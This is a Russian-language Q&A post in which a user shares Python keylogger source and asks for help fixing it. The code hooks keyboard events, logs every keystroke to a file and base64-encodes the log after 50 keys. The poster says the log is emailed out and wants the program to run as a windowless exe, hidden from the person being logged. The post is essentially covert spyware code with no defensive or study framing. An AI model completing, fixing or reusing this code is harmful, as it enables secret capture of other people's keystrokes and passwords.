ошибки кейлоггера Python при конвертации в exe - PullRequest
0 голосов
/ 21 марта 2019

Просто написал следующий код для кейлогинга и отправил его по электронной почте.У меня есть 2 проблемы, с которыми я не смог разобраться: 1) я получаю сообщение об ошибке "имя 'событие' не определено" 2) когда я использую pyinstaller --onefile, он работает отлично и отправляет электронную почту после 50 нажатий клавиш, но когда ядобавить -w (без консоли) он будет отправлять только первые 50 нажатий клавиш.

points = 0

with open(file_log,'w+') as f:
        print ""
f.close

def OnKeyboardEvent(event):

global points
points += 1
print points
if event.Ascii==5:
    f=open(file_log,'r+')
    f.close()
    os.remove(file_log)
    sys.exit(0)
if event.Ascii !=0 or 8:
    f=open(file_log,'r+')
    buffer=f.read()
    f.close()
    f=open(file_log,'w+')
    keylogs=chr(event.Ascii)
    #if press ENTER 
    if event.Ascii==13:
        keylogs='\n'  
    if event.Ascii==32:
        keylogs=' '
    buffer+=keylogs
    f.write(buffer)
    f.close()
if points == 50: ## how may letters typed
    points = 0
    fo = open(file_log, "rb")
    filecontent = fo.read()
    encodedcontent = base64.b64encode(filecontent)
...